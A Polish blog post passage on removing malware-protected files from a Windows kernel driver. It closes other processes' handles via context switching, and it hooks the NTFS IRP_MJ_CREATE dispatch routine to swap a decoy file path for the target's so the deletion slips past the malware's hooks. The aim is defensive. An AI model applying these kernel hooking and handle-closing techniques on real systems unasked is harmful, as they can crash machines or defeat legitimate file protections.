Możemy skorzystać z tej dogodności, jaką daje nam obecność w r0, a mianowicie do wyciagnięcia interesujących nas informacji o ścieżce do pliku przy pomocy FILE_OBJECT’u dostarczonego w _SYSTEM_HANDLE_INFORMATION przez ZwQuerySystemInformation. Niestety sytuacja na wstępie nie jest taka kolorowa jak mogła by się wydawać, chodzi tutaj o nie dogodność związana z formatem sciężki do pliku z jaki powiązany jest FILE_OBJECT:

kd> dt _FILE_OBJECT 88e280d0
ntdll!_FILE_OBJECT
   +0x000 Type             : 5
   +0x002 Size             : 112
   +0x004 DeviceObject     : 0x88f76900 _DEVICE_OBJECT
   +0x008 Vpb              : 0x88fa5780 _VPB
   +0x00c FsContext        : 0xe154c0d0
   +0x010 FsContext2       : 0xe154c228
   +0x014 SectionObjectPointer : 0x88ee87ac _SECTION_OBJECT_POINTERS
   +0x018 PrivateCacheMap  : (null)
   +0x01c FinalStatus      : 0
   +0x020 RelatedFileObject : (null)
   +0x024 LockOperation    : 0 ''
   +0x025 DeletePending    : 0 ''
   +0x026 ReadAccess       : 0x1 ''
   +0x027 WriteAccess      : 0x1 ''
   +0x028 DeleteAccess     : 0 ''
   +0x029 SharedRead       : 0 ''
   +0x02a SharedWrite      : 0 ''
   +0x02b SharedDelete     : 0 ''
   +0x02c Flags            : 0x40008
   +0x030 FileName         : _UNICODE_STRING "\WINDOWS\system32\config\default.LOG"
   +0x038 CurrentByteOffset : _LARGE_INTEGER 0x0
   +0x040 Waiters          : 0
   +0x044 Busy             : 0
   +0x048 LastLock         : (null)
   +0x04c Lock             : _KEVENT
   +0x05c Event            : _KEVENT
   +0x06c CompletionContext : (null)

Tak jak widać ścieżka do pliku nie zawiera informacji o partycji, na której plik się znajduje. Jak uzyskać literę partycji? Jest na to parę sposobów.
Najwygodniejszym wydaje się użycie IoQueryFileDosDeviceName. getFullPathName w wersji dla r0 prezentuje się następująco:

NTSTATUS getFullPathName(FILE_OBJECT* fileObject,OBJECT_NAME_INFORMATION **objectNameInformation)
{
	 return IoQueryFileDosDeviceName(fileObject,
							  objectNameInformation
							  );
	//remeber about _OBJECT_NAME_INFORMATION deallocation!!!
}

Funkcja ta zwróci nam wypełniona strukturę, która tak naprawdę zawiera jedno pole UNICODE_STRING, zawierające pełną ścieżkę do pliku. Po porównaniu ścieżek do plików i znalezieniu tej interesującej nas przystępujemy tak jak poprzednio do zamknięcia uchwytu. I tu kolejna zmiana:

				PsLookupProcessByProcessId((HANDLE)shiTable->Handles[i].UniqueProcessId,&eprocess);
				KeAttachProcess(eprocess);//switch context
				ZwClose((HANDLE)shiTable->Handles[i].HandleValue);
				KeDetachProcess();

Tak jak odrazu widać nie posługujemy się DuplicateHandle jak poprzednio, lecz korzystamy z możliwości zmiany kontekstu(KeAttachProcess) na kontekst procesu, w którym dany handler istnieje i zamykamy go w trywialny sposób korzystając z ZwCloseHandle. Po zamknięciu wszystkich otwartych handler’ów do naszego pliku jesteśmy gotowi na jego usunięcie przy pomocy ZwDeleteFile.

3.

Usuniecie pliku nie jest możliwe ze względów na hooki , czy to na poziomie r3 czy r0, które chronią wybrane pliki malware’u.
Niestety czasami bywa tak, że chcemy usunąć jakiś plik, lecz nie jest to możliwe, a przeglądając listę otwartych handlerów wszystkich procesów nie odnajdujemy tam interesującego nas pliku o_0. So WTF?!.
Problemem mogą tu być hooki zakładane przez malware na różne api, których zdaniem jest zwracania kodu błędu w przypadku kiedy użytkownik zapragnie usunąć plik znajdujący się na liście plików chronionych przez malware.
Zanim przejdziemy do konkretnego przypadku i moim zdaniem jednego z lepszych rozwiązań w tym przypadku, prześledźmy z grubsza drogę, jaką musi przebyć żądanie usunięcia pliku z pod r3.

Ring3
------------
DeleteFile
|
V
NtOpenFile
|
V
KiFastSystemCall
|
V
Ring0
---------
NtDeleteFile
|
V
ObOpenObjectByName
|
V
ObpCaptureObjectCreateInformation
|
V
ObpLookupObjectName
|
V
ObpLookupDirectoryEntry
|
V
IopParseDevice
|
V
IofCallDriver
|
V
IRP_MJ_CREATE in filter drivers
|
V
File system driver (e.g NtfsFsdCreate)

Tak jak widać ścieżka od DeleteFile do NtfsFsdCreate jest dość długa i na każdej z jej etapów mogą pojawić się hooki uniemożliwiające usunięcie wybranego przez malware pliku. Sprawdzanie wszystkich tych api w r3 i r0 pod kątem istnienia hooku na nich jest dość czasochłonne i czasem nie trywialne. Było by wspaniale gdybyśmy mogli w pewien sposób oszukać hooki malware’u sprawdzające ścieżkę do pliku.
Czy jest to możliwe? Okazuje się, że od samego DeleteFile do NtfsFsdCreate ścieżka wskazująca na plik do usunięcia nie musi wskazywać na plik dokładnie ten, który chcemy usunąć!!!
Dopiero, w NtfsFsdCreate(a dokładnie w NtfsCommonCreate) ścieżka ta ma znaczenie i jest rozwiązywana na konkretne wewnętrzne struktury NTFS’owe.
Co nam to daje?
Wspaniałą możliwość ominięcia masy istniejących hook’ow na api zaprezentowanych powyżej!!!.
[+]Sposób na obejście tego przypadku:
Wystarczy uzyskać bezpośredni dostęp do urządzenia file systemu, a następnie, podmienić w obiekcie sterownika handler(założyć hook…jak kto woli) obsługujący IRP_MJ_CREATE (w naszym przypadku jest to NtfsFsdCreate) na własny. Nasz handler będzie tylko i wyłącznie odpowiedzialny za podmianę ścieżki do pliku, którą wcześniej ustalimy, jako coś ala „turn on trigger”(np. \ice_psuje.exe). Ścieżkę tą, podmienimy na taką by wskazywała ona na plik malware’u, który rzeczywiście jest naszym celem.
[+]Implementacja (inspiracja gmer.sys)

void hook_NtfsFsdCreate(wchar_t* filePath)
{
	HANDLE fileHandle;
	NTSTATUS result;
	IO_STATUS_BLOCK ioBlock;
	DEVICE_OBJECT *device_object;
	void* object = NULL;
	OBJECT_ATTRIBUTES objectAttr;
	UNICODE_STRING uDeviceName;
	wchar_t deviceName[14];
	//switch context to UserMode
	EPROCESS *eproc = IoGetCurrentProcess();
	KeAttachProcess(eproc);
	//initialize file to delete variable
	g_fileToDelete = filePath;
	g_fileToDelete += 6; //take from \??\C:\zlo only \zlo
	//e.g "\??\C:\"
	memset(deviceName,0,sizeof(deviceName));
	wcsncpy(deviceName,filePath,7);
	wcsncpy(g_tmpFile,filePath,7);
	RtlInitUnicodeString(&uDeviceName,deviceName);
	InitializeObjectAttributes(&objectAttr,
								&uDeviceName,
								OBJ_CASE_INSENSITIVE,
								NULL,
								NULL);
	result = ZwOpenFile(&fileHandle,
						SYNCHRONIZE,
						&objectAttr,
						&ioBlock,
						FILE_SHARE_READ,
						FILE_SYNCHRONOUS_IO_NONALERT|FILE_DIRECTORY_FILE);
	if(result != STATUS_SUCCESS)
	{
		DbgPrint("Some problem with open file ;[");
		goto _end;
	}
    if ( !ObReferenceObjectByHandle(fileHandle, 0, 0, 0, &object, 0) )
    {
      device_object = IoGetBaseFileSystemDeviceObject(object);
      ObfDereferenceObject(object);
    }
	hook_it(device_object);
_end:
	KeDetachProcess();}

Myślę, że ta część kodu jest już wam dobrze znana. Nowością może tu być linia gdzie pojawia się zmienna globalna:

	g_fileToDelete = filePath;
	g_fileToDelete += 6; //take from \??\C:\zlo only \zlo

Ustawiamy zmienna globalną g_fileToDelete, którą później będziemy wykorzystywać w hooku, na ścieżkę do pliku, który rzeczywiście chcemy skasować. W lini:

	wcsncpy(g_tmpFile,filePath,7);

gdzie, zmienna g_tmpFile prezentuje się domyślnie tak:

wchar_t *g_tmpFile = L"\\??\\C:\\ice_psuje.exe";

dokonujemy podmiany domyślnej wartości woluminu na tą, na której znajduje się plik naszych zainteresowań.

void hook_it(DEVICE_OBJECT *device_object)
{
	NTSTATUS result;
	OBJECT_ATTRIBUTES fileObj;
	UNICODE_STRING uTmpFile;
	HANDLE fileHandle;
	IO_STATUS_BLOCK ioStatus;
	FILE_BASIC_INFORMATION fileBasicInfo;
	//initialize variables related with fake file
	RtlInitUnicodeString(&uTmpFile,g_tmpFile);
	InitializeObjectAttributes(&fileObj,
								&uTmpFile,
								OBJ_CASE_INSENSITIVE,
								NULL,
								NULL);
	//save original MJ functions
	create  = device_object->DriverObject->MajorFunction[0];
	result = ZwCreateFile(&fileHandle,
						  4,
						  &fileObj,
						  &ioStatus,
						  0,
						  0x80,
						  2,
						  3,
						  0x20,
						  0,
						  0);
	if(result != STATUS_SUCCESS)
		return;
	ZwClose(fileHandle);
	//install hooks
	device_object->DriverObject->MajorFunction[0]    = HookedNtfsFsdCreate;
	ZwDeleteFile(&fileObj);//launche our hooks
	//restore original MJ functions
	device_object->DriverObject->MajorFunction[0]    = create;
}

W kolejności:

//save original MJ functions
	create  = device_object->DriverObject->MajorFunction[0];

Zachowujemy oryginalny handler IRP_MJ_CREATE, następnie tworzymy plik, który będzie trigerem. Instalujemy nasz hook:

	//install hooks
	device_object->DriverObject->MajorFunction[0]    = HookedNtfsFsdCreate;

Chcąc skorzystać z dobroci naszego hook’a, wywołujemy ZwDeleteFile na \??\X:\ice_psuje.exe.

//global
wchar_t *g_tmpFileName = L"\\ice_psuje.exe";
//--------
//(...)
NTSTATUS NTAPI
HookedNtfsFsdCreate(PDEVICE_OBJECT DeviceObject,
	   PIRP Irp)
{
	unsigned long proper_file = 0; //whether we get Irp with interesting for us file_object ?
	UNICODE_STRING bfile; //backup file
	UNICODE_STRING uMalwareFile;
	NTSTATUS rez;
	PFILE_OBJECT pFileObject;
	RtlInitUnicodeString(&uMalwareFile,g_fileToDelete);
	pFileObject = Irp->Tail.Overlay.CurrentStackLocation->FileObject;
	if(!pFileObject)
		goto _end;
	if((pFileObject->FileName.Length / 2) != wcslen(g_tmpFileName))
		goto _end;
	if(!_wcsnicmp(g_tmpFileName,
				  (wchar_t*)pFileObject->FileName.Buffer,
				  (pFileObject->FileName.Length / 2)))
	{
		    bfile = pFileObject->FileName;//backup current string
			pFileObject->FileName = uMalwareFile; //hook string value
			proper_file = 1;
	}
_end:
	rez = Call_NtfsFsdCreate(DeviceObject,Irp);
	if(pFileObject)
	{
		if(proper_file)
		{
			pFileObject->FileName = bfile;
		}
	}
	return rez;
}

Wydaje mi się, że po wcześniejszych opisach sprawa jest jasna. Jeżeli do NtfsFsdCreate trafia FILE_OBJECT, którego FileName to „\ice_psuje.exe” następuje podmiana tej ścieżki na ścieżkę podana jako parametr hook_NtfsFsdCreate i zachowaną w:

	//initialize file to delete variable
	g_fileToDelete = filePath;
	g_fileToDelete += 6; //take from \??\C:\zlo only \zlo

Uff w końcu dobrnęliśmy do końca tego skromnego postu ;). Ma nadzieje, że ktoś dotarł do tego miejsca, znalazł coś ciekawego dla siebie i zostawi jakiś feedback ;).
Enjoy

Posted in Analiza, Aplikacja, RE | Tagged , , , , , , , , , , | 5 Comments